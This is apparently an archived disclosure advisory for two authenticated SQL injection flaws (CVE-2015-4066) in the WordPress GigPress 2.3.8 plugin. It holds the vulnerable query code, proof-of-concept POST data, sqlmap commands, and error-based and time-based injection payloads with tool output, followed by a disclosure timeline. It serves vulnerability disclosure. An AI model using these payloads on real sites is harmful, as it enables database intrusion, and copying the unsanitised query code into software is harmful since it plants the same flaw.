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WordPress GigPress 2.3.8 SQL Injection

WordPress GigPress 2.3.8 SQL Injection
Posted May 25, 2015
Authored by Adrian M. F.

WordPress GigPress plugin version 2.3.8 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2015-4066
MD5 | c4fcde7ca37b0c62c4315c54d0c11aa7

WordPress GigPress 2.3.8 SQL Injection

Change Mirror Download
# Title: SQLi vulnerabilities in WordPress plugin "GigPress"
# Author: Adrián M. F. - adrimf85[at]gmail[dot]com
# Date: 2015-05-25
# Vendor Homepage: https://wordpress.org/plugins/gigpress/
# Active installs: 20,000+
# Vulnerable version: 2.3.8
# Fixed version: 2.3.9
# CVE: CVE-2015-4066

Vulnerabilities (2)
=====================

(1) Authenticated SQLi [CWE-89]
-------------------------------

* CODE:
admin/handlers.php:87
+++++++++++++++++++++++++++++++++++++++++
$show['show_tour_id'] = $_POST['show_tour_id'];
+++++++++++++++++++++++++++++++++++++++++
admin/handlers.php:94
+++++++++++++++++++++++++++++++++++++++++
$artist = $wpdb->get_var("SELECT artist_name FROM " . GIGPRESS_ARTISTS . " WHERE artist_id = " . $show['show_artist_id'] . "");
+++++++++++++++++++++++++++++++++++++++++


* POC:
http://[domain]/wp-admin/admin.php?page=gigpress/gigpress.php
POST DATA:
_wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1[SQLi]&show_venue_id=1&show_related=new

SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/admin.php?page=gigpress/gigpress.php" --data="_wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1&show_venue_id=1&show_related=new" -p show_artist_id --dbms mysql
[............]
POST parameter 'show_artist_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 72 HTTP(s) requests:
---
Parameter: show_artist_id (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: _wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1 AND (SELECT 9266 FROM(SELECT COUNT(*),CONCAT(0x717a6a7a71,(SELECT (ELT(9266=9266,1))),0x71786a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&show_venue_id=1&show_related=new

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: _wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))BiUm)&show_venue_id=1&show_related=new
---
[12:21:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0
+++++++++++++++++++++++++++++++++++++++++


(2) Authenticated SQLi [CWE-89]
-------------------------------

* CODE:
admin/handlers.php:71
+++++++++++++++++++++++++++++++++++++++++
$show['show_venue_id'] = $_POST['show_venue_id'];
+++++++++++++++++++++++++++++++++++++++++
admin/handlers.php:95
+++++++++++++++++++++++++++++++++++++++++
$venue = $wpdb->get_results("SELECT venue_name, venue_city FROM " . GIGPRESS_VENUES . " WHERE venue_id = " . $show['show_venue_id'] . "", ARRAY_A);
+++++++++++++++++++++++++++++++++++++++++


* POC:
http://[domain]/wp-admin/admin.php?page=gigpress/gigpress.php
POST DATA:
_wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1&show_venue_id=1[SQLi]&show_related=new

SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/admin.php?page=gigpress/gigpress.php" --data="_wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1&show_venue_id=1&show_related=new" -p show_venue_id --dbms mysql
[............]
POST parameter 'show_venue_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 72 HTTP(s) requests:
---
Parameter: show_venue_id (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: _wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1&show_venue_id=1 AND (SELECT 6543 FROM(SELECT COUNT(*),CONCAT(0x717a6a7a71,(SELECT (ELT(6543=6543,1))),0x71786a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&show_related=new

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: _wpnonce=b31c921d92&_wp_http_referer=/wordpress/wp-admin/admin.php?page=gigpress/gigpress.php&gpaction=add&show_status=active&gp_mm=05&gp_dd=05&gp_yy=2015&show_artist_id=1&show_venue_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))OzkE)&show_related=new
---
[12:23:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0
+++++++++++++++++++++++++++++++++++++++++


Timeline
========
2015-05-09: Discovered vulnerability.
2015-05-20: Vendor notification.
2015-05-20: Vendor response and fix.
2015-05-25: Public disclosure.


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